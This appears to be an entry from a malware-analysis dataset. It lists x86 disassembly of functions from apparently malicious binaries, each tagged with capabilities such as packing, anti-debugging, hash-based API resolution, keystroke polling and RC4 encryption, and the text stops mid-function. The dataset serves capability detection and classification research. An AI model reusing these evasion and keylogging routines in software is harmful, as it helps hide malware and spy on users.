joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10053b10
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x10053cdd
pushal
mov esi, section.text
lea edi, [esi - 0x18000]
push edi
jmp 0x10053b3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10053b41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10053b30
mov eax, 1
add ebx, ebx
jne 0x10053b53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10053b48
jne 0x10053b64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10053b48
xor ecx, ecx
sub eax, 3
jb 0x10053b78
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x10053bea
mov ebp, eax
add ebx, ebx
jne 0x10053b83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x10053b90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x10053bb4
inc ecx
add ebx, ebx
jne 0x10053ba0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10053b95
jne 0x10053bb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10053b95
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10053bd4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10053bc5
jmp 0x10053b36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10053bd4
add edi, ecx
jmp 0x10053b36
pop esi
mov edi, esi
mov ecx, 0x5c6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x10053bf2
cmp byte [edi], 5
jne 0x10053bf2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x10053bf7
lea edi, [esi + 0x50000]
mov eax, dword [edi]
or eax, eax
je 0x10053c6f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x539d0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x53a34]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10053c24
mov ecx, edi
jns 0x10053c53
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x53a38]
or eax, eax
je 0x10053c69
mov dword [ebx], eax
add ebx, 4
jmp 0x10053c41
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10053ca0
cmp al, 0xef
ja 0x10053c93
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x10053c75
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10053c82
mov ebp, dword [esi + 0x53a3c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x10053cd4
sub esp, 0xffffff80
jmp 0x1000a770
Function at 0x5a1854
Capabilities:
Execute anti-debugging instructions

Disassembly:
add esp, 3
push word [esp + 2]
bswap ecx
mov dword [esp], eax
xchg word [esp + 2], si
xchg cx, si
jmp 0x5a185e
add esp, 3
ror esi, 0xd
neg dh
xchg edi, eax
setle ch
push edx
jmp 0x5a181b
mov edx, 0x756a4b28
setle ah
jmp 0x5a1838
mov dword [esp], eax
bswap ebx
xchg edi, ebp
and dx, 0xe832
pushal
rdtsc
jmp 0x5a19e9
xchg dh, al
setg dh
xchg dword [esp], ecx
push word [esp + 3]
mov cl, ch
lea eax, [eax - 0xa9]
jmp 0x5a1896
sub cx, 0x6f18
pop dx
cmc
bswap esi
setp ah
mov cl, ch
jmp 0x5a18b8
bsr di, cx
sub di, 0x5288
push dword [esp + 0x1e]
setno ah
popal
mov ax, word [esp + 3]
jmp 0x5a1916
Function at 0x5a1f40
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edx, [ebx*4]
xchg word [esp + 1], bx
bsr cx, bp
jmp 0x5a1f93
bsr dx, cx
sub esp, 0xa
mov byte [esp + 0xa], ah
pop edx
push word [esp + 5]
pop word [esp + 1]
jmp 0x5a1f73

Function at 0x5a2b20
Capabilities:
Execute anti-debugging instructions

Disassembly:
call 0x5a2b20
push ebx
popal
outsb dx, byte gs:[esi]
imul ebp, dword [bp + 0x65], 0x69685320
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
and byte [esi + 0x32], dh
xor dword cs:[esi], ebp
cmp dword [esi], ebp
xor byte [eax], al
jmp 0x5a2b71
pushfd
sub esp, 0xa
push dword [esp]
push dword [esp]
sub esp, 4
jmp 0x5a2ccf
bswap esi
not bp
cpuid
mov cl, byte [esp]
mov di, 0x38f
and si, 0x97ba
jmp 0x5a2d03
lea esp, [esp + 1]
lea esp, [esp + 0xc]
pushal
shr eax, 0x1b
sub di, 0xa620
inc ax
jmp 0x5a2c9c
mov word [esp + 0x12], dx
push edx
mov byte [esp + 0x13], ch
lea esp, [esp + 3]
push word [esp + 0x15]
add esp, 0xc
jmp 0x5a2cb6
push edx
push word [esp + 0x24]
mov byte [esp + 0x11], dh
mov di, 0x15f3
mov dl, 0xb4
xchg dword [esp + 0x1f], esi
jmp 0x5a2d2e
pushal
lea edi, [ebp*4]
lea esp, [esp + 5]
push edx
mov cl, ch
push dword [esp + 0x17]
jmp 0x5a2ce7
lea ebx, reloc.KERNEL32.dll_HeapAlloc
cpuid
xchg dword [esp + 0x14], esi
push dword [esp + 0xa]
jmp 0x5a2d83
sete bh
push dword [esp + 0x28]
lea eax, [ecx - 0xeb]
cpuid
stc
jmp 0x5a2d18
pop di
mov dh, byte [esp + 0x1b]
call 0x5a2d55
cmp edi, dword [ebp + reloc.KERNEL32.dll_HeapAlloc]
or al, 0x9f
out 0x11, al
nop
adc ecx, dword [ebp + reloc.KERNEL32.dll_HeapAlloc]
lea ecx, [esi + 0x75]
rdtsc
xchg byte [esp + 4], cl
pop dword [esp + 0x20]
rdtsc
neg eax
jmp 0x5a2d6c
Function at 0x5a2d55
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop dword [esp]
push dword [esp + 6]
mov word [esp], di
mov dword [esp + 6], ebp
pop dword [esp]
call fcn.005a2608
pop word [esp + 0xe]
lea esp, [esp + 1]
pop dword [esp + 0x14]
pop dword [esp + 0xa]
pop word [esp + 0x15]
jmp 0x5a26f3
push word [esp + 1]
push dword [esp + 4]
jmp 0x5a2628
lea esp, [esp + 0x42]
call 0x5a268f
push word [esp + 1]
pop word [esp + 1]
lea esp, [esp + 1]
mov byte [esp + 3], bh
mov word [esp], di
push dword [esp + 5]
jmp 0x5a270d
mov dword [esp + 0x13], eax
push word [esp + 0x11]
push dword [esp + 0x10]
pushal
push word [esp + 0x23]
push word [esp + 0xf]
jmp 0x5a26ab
push edx
mov dword [esp + 3], eax
mov word [esp + 9], dx
push esp
push word [esp + 0xb]
pop word [esp + 7]
jmp 0x5a2eb0
mov byte [esp + 5], dh
mov byte [esp + 1], ch
call fcn.005a2753
sub cx, 0xc650
bswap ebp
mov ebp, 0x906e1f5c
bsf di, ax
jmp 0x5a2e79
lea esp, [esp + 0x48]
mov bx, word [esp]
cpuid
mov ecx, 0xb526bfae
mov cl, 0xd2
mov bx, 0x5b2f
jmp 0x5a2dec
rdtsc
lea ebp, [esi + 0xad]
mov si, word [esp + 0x1e]
xchg byte [esp + 0x25], dl
pop dword [esp + 0x18]
pushal
jmp 0x5a2d96
lea esp, [esp + 3]
mov ebx, esi
mov cl, ch
inc al
mov dword [esp + 0xc], ecx
neg ebx
jmp 0x5a2e3b
neg bp
pushal
pop ebp
xchg dword [esp + 6], edi
xchg ah, bl
cld
jmp 0x5a2dd0
lea ecx, [esi*4]
lea edi, [edx + esi]
mov edi, 0xc13cdfa2
not di
sub esp, 0x10
pop si
jmp 0x5a2db8
pop word [esp + 1]
cld
setbe ah
lea ebx, [eax*4]
mov byte [esp + 9], dh
xchg dword [esp + 9], edi
jmp 0x5a2e8f
pop dword [esp + 1]
mov edi, ecx
pop dword [esp + 9]
btc eax, ebx
xor bp, 0x4df4
xchg ah, bl
jmp 0x5a2e1c
mov si, 0x216d
pop ebp
mov dh, byte [esp + 0x23]
xchg ebp, ebx
lea esp, [esp + 0xd]
jmp 0x5a2e03
lea ebp, [eax*4]
setl ah
neg ebp
rdtsc
mov si, 0xdd27
mov bl, 0x38
jmp 0x5a2e5e
xchg word [esp + 9], bp
lea edi, [eax*4]
mov dword [esp + 7], esi
mov word [esp + 5], bx
pop dword [esp + 6]
push esp
jmp 0x5a2f5d
push word [esp + 0xf]
pop word [esp + 6]
mov word [esp], dx
pop dword [esp + 7]
push esp
pop dword [esp + 0xa]
jmp 0x5a2d48
mov word [esp + 0x16], sp
mov byte [esp + 0xb], ch
popal
inc cl
xchg ah, bl
mov esi, dword [esp]
jmp 0x5a2f19
neg di
push word [esp + 0x1f]
bswap ebx
mov edi, 0xf66da74
not si
mov byte [esp + 0x1a], bh
jmp 0x5a2ecc
push edx
pop si
mov dl, dh
btr ebx, edx
bsr dx, bp
call int.005a2fc5
sbb dword [eax + 0x5b], edi
mov dl, 0xad
xchg di, bx
cld
xchg edx, edi
mov si, 0xe01d
ror ah, 1
xor dl, ch
jmp 0x5a2f03
rcl cx, cl
bsr di, cx
lea edx, [eax*4]
lea ebp, [esp + ebp]
mov bx, word [esp + 0xa]
lea esp, [esp + 3]
jmp 0x5a2eeb
lea edx, [ecx*4]
sub esp, 0x14
mov cx, word [esp + 0x18]
mov esi, eax
mov dword [esp + 0x17], ecx
mov ebx, ebp
jmp 0x5a2f30

Function at 0x5a30b4
Capabilities:
Execute anti-debugging instructions

Disassembly:
push esp
lea eax, [ebp*4]
mov word [esp + 2], dx
jmp 0x5a311a
push edx
setbe ah
jmp 0x5a309e
cld
btc edi, ebx
sub esp, 0x12
bswap esi
mov dx, word [esp + 6]
bsr ax, cx
jmp 0x5a30e2
xchg word [esp + 0x1f], bx
shr eax, 7
clc
mov al, 0x36
mov word [esp + 0x1a], dx
setbe ch
jmp 0x5a3100
Function at 0x5a3b5a
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edi, 0x4c418f52
btc edx, edi
rdtsc
pushal
sub esp, 0x10
jmp 0x5a3b34
add edx, ebp
sub bl, ah
mov bp, 0xcde5
sub esp, 0xe
lea esp, [esp + 0x47]
mov ax, word [esp]
jmp 0x5a3b08
pop dword [esp + 0xa]
mov bx, word [esp]
lea edx, reloc.KERNEL32.dll_HeapAlloc
bsf si, si
popal
mov dx, word [esp + 8]
jmp 0x5a3b7b
mov dword [esp + 0x27], ecx
rdtsc
jmp 0x5a3b1f
mov word [esp + 2], dx
pop word [esp + 3]
btr ebx, esp
mov byte [esp + 4], bh
jmp 0x5a3bd1
bsf ax, si
mov dword [esp + 7], esi
lea ebp, [edi + ebp]
mov edx, 0x1266f9f6
jmp 0x5a3b62
bsr ax, bp
pop eax
mov dl, dh
btr ebp, edx
xchg byte [esp + 4], dl
lea ebp, [ecx - 0xfb]
jmp 0x5a3c3b
add esp, 1
inc eax
lea esp, [esp]
call fcn.005a3c00
lodsd eax, dword [esi]
inc ebx
sal dword [esi + reloc.KERNEL32.dll_HeapAlloc], cl
lcall 0x3330, 0x31fd0cfd
neg bx
pop esi
xchg word [esp], cx
xchg word [esp], ax
setl ch
cld
jmp 0x5a3c20

Function at 0x5a3ff4
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg dh, al
mov word [esp + 2], sp
cpuid
mov bp, bx
pop ebp
cpuid
jmp 0x5a3daa
mov edi, 0x587f77e0
pop word [esp + 7]
cpuid
pop dword [esp]
mov ecx, eax
mov cl, ch
jmp 0x5a3d53
mov cx, bx
mov word [esp], sp
mov si, 0x1cc5
xchg ecx, edi
lea esp, [esp + 1]
mov di, word [esp]
jmp 0x5a3e42
bswap ecx
xchg bp, bx
not dh
xchg word [esp], dx
rdtsc
mov edi, dword [esp]
jmp 0x5a3d80
add esp, 0x20
lea esp, [esp]
and bx, 0x621a
shl cx, cl
mov cl, 0x22
cmc
jmp 0x5a3dec
mov al, ah
mov ah, byte [esp]
cmc
sete bh
pushal
mov cx, dx
jmp 0x5a3dbc
mov cl, 0x2a
mov bl, bh
mov dl, dh
sub esp, 8
btc ebp, edi
mov al, ah
jmp 0x5a3e00
pop dword [esp]
sub bl, ah
mov cl, 0x5a
mov ax, 0x77d7
pop dx
rdtsc
jmp 0x5a3fb2
lea ebx, reloc.KERNEL32.dll_HeapAlloc
lea edi, [esp + eax]
rcr ch, 5
add esp, 0
mov esi, ecx
bswap ebp
jmp 0x5a3ddd
clc
mov byte [esp], bh
lea eax, [edx*4]
xchg ebp, ebx
add esp, 0
inc si
fld qword [ebx + 0x466600c4]
jmp 0x5a3e18
push word [esp + 5]
mov esi, 0xeb5b042
mov dx, di
xchg dword [esp + 6], esi
mov esi, 0x66e31218
mov esi, ebp
jmp 0x5a3d6b
pop ax
lea ecx, [esi - 0x5d]
bsr ax, bp
lea ebp, [edx*4]
push dword [esp]
lea eax, [eax + 1]
jmp 0x5a3e6b
lea esp, [esp + 0x38]
popal
sub esp, 2
push edx
lea esp, [esp + 1]
add esp, 1
call fcn.005a3f2f
jae 0x5a3e4e
xchg byte [esp + 4], cl
dec esp
and al, 4
not cx
pushal
xchg edx, ebp
lea esp, [esp + 1]
jmp 0x5a3eb1
xor dl, ch
mov cl, 0x82
neg bp
bsf bx, ax
sub esp, 0x16
mov byte [esp + 3], ah
jmp 0x5a3ec7
not dx
mov bx, dx
mov esi, 0x8d1af038
neg bp
lea esp, [esp]
mov word [esp], dx
jmp 0x5a3ede
lea edi, [eax + 0xf9]
lea edi, [edx + edx]
sub esp, 4
jmp 0x5a3e99
Function at 0x5a4229
Capabilities:
Check for peb beingdebugged flag
Parse pe header

Disassembly:
push eax
jmp 0x5a1033
call fcn.005a1038
jmp 0x5a41ad
movzx ebx, word [eax + 0x3c]
jmp 0x5a41d4
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
jmp 0x5a4204
add ebx, eax
cmp word [ebx], 0x4550
jmp 0x5a4211
je 0x5a3074
sub eax, 0x10000
jmp 0x5a41b1
je 0x5a0f4e
jne 0x5a420a
cwde
push ss
test bl, ah
push ds
lock or cl, byte [ebx + 0x698d7e1b]
scasb al, byte es:[edi]
mov ecx, 0xc5ebfb98
jmp 0x5a41f0
fcom qword [eax - 0x3a]
mov eax, dword [reloc.KERNEL32.dll_HeapAlloc]
pop ebp
and al, 0xd7
int3
Function at 0x408189
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4081aa
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4081a1
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x408199
mov eax, ebx
leave
ret

Function at 0x4081d0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0xc]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 8]
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 8]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x40822f
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x40825c
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x40824b
xor ecx, eax
xor edx, ebx
dec edi
jne 0x40823c
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x408282
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x408223
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 8
Function at 0x408ac2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword ds:[ebp - 0x20], 0xff8bff8b
mov dword ds:[ebp - 0x14], 0xff8bff8b
mov dword ds:[ebp - 0x1c], 0xff8bff8b
push 0x7fc
push dword [ebp - 0x20]
call fcn.0040814f
push eax
push dword [ebp - 0x20]
lea eax, [ebp - 4]
mov ebx, eax
pop ecx
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x408ca1
push dword [ebp - 4]
call fcn.00408133
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x408b92
jmp 0x408ca1
push dword [ebp - 4]
call fcn.00408133
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp dword [ebp - 4], eax
jne 0x408be6
lea eax, [ebp - 4]
push eax
call fcn.00408aa8
mov dword [ebp - 0x28], eax
push 0
push 4
push dword [ebp - 0x28]
push dword [ebp - 4]
push 0xffffffff
push dword [ebp - 0x14]
call fcn.0040835a
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x408be6
mov eax, 1
jmp 0x408be8
xor eax, eax
test eax, eax
je 0x408c96
push ebx
push esi
push edx
mov ebx, dword [ebp + 8]
lea eax, [ebx + 0x3c]
mov eax, dword [eax]
add eax, ebx
lea eax, [eax + 0x78]
mov eax, dword [eax]
lea esi, [eax + ebx]
mov dword [ebp - 0x10], esi
lea edx, [esi + 0x20]
mov edx, dword [edx]
add edx, ebx
mov edx, dword [edx]
add edx, ebx
mov dword [ebp - 0x18], edx
lea eax, [esi + 0x18]
mov eax, dword [eax]
dec eax
mov dword [ebp - 4], eax
pop ebx
pop esi
pop edx
push dword [ebp - 4]
lea eax, [ebp - 4]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x408c8e
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [ebp - 0x1c]
call fcn.004088c5
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x408c7d
push edi
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
lea eax, [eax + 0x1c]
mov eax, dword [eax]
add eax, dword [ebp + 8]
lea eax, [eax + edi*4]
mov eax, dword [eax]
add eax, dword [ebp + 8]
pop edi
leave
ret 8
push dword [ebp - 0xc]
call fcn.00408a81
add dword [ebp - 8], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x408c30
add esp, 0xc
jmp 0x408ca1
pop ebx
pop ecx
pop edx
add ecx, 4
jmp 0x408b6b
add esp, 0xc
mov edi, edi
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 0
jmp 0x408cc2
mov esp, ebp
pop ebp
ret 8
Function at 0x497090
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x51148b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.005054ff
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x497112
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00502a4d
mov eax, dword [eax]
push 0x5e625c
push eax
call fcn.004f4434
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0050578a
test bl, bl
je 0x497112
push 0x5e625c
lea ecx, [esp + 0xc]
call fcn.00505b1a
push 0x5e9f30
lea ecx, [esp + 0xc]
call fcn.00505b1a
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x49714e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0050578a
jmp 0x497219
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4971d2
lea edx, [esp + 0x7c]
push 0x5e9f2c
push edx
call fcn.004f4434
add esp, 8
test eax, eax
je 0x4971d2
lea eax, [esp + 0x7c]
push 0x5e9f28
push eax
call fcn.004f4434
add esp, 8
test eax, eax
je 0x4971d2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x497162
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0050578a
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x498490
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4984f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x498500
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x5115eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x62287c]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x498638
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x498566
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0050578a
xor eax, eax
jmp 0x4986af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.005058c7
push esi
lea ecx, [esp + 0xc]
call fcn.00505b56
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x5e9f68
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x49868d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00498490
test eax, eax
jne 0x49868d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00498490
test eax, eax
jne 0x49868d
lea eax, [esp + 0x14]
push 0x5e9f44
push eax
call fcn.004f5540
mov esi, eax
add esp, 8
test esi, esi
jne 0x49866c
lea ecx, [esp + 0x14]
push 0x5e9f40
push ecx
call fcn.004f54c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x49866c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x49866f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00505877
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x49857e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0050578a
xor eax, eax
jmp 0x4986af
mov byte [esi], 0
push 0x5e9f3c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0050578a
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4af420
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4af48e
cmp si, 0x69
ja 0x4af48e
add esi, 0xffd0
cmp si, 0x11
je 0x4af45e
push 0x11
call edi
test ax, ax
jge 0x4af45e
or esi, 0x2000
cmp si, 0x10
je 0x4af473
push 0x10
call edi
test ax, ax
jge 0x4af473
or esi, 0x4000
cmp si, 0x12
je 0x4af488
push 0x12
call edi
test ax, ax
jge 0x4af488
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4af49b
mov esi, 0xbd
jmp 0x4af44f
cmp si, 0x6e
jne 0x4af4a8
mov esi, 0xbe
jmp 0x4af44f
cmp si, 0x6f
jne 0x4af449
mov esi, 0xbf
jmp 0x4af44f

Function at 0x4b0f80
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x633320]
xor edx, edx
cmp eax, edx
jne 0x4b0fa6
xor eax, eax
mov byte [eax + 0x633220], al
inc eax
cmp eax, 0x100
jl 0x4b0f8e
mov dword [0x633320], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x633220
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4b1037
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4b100a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
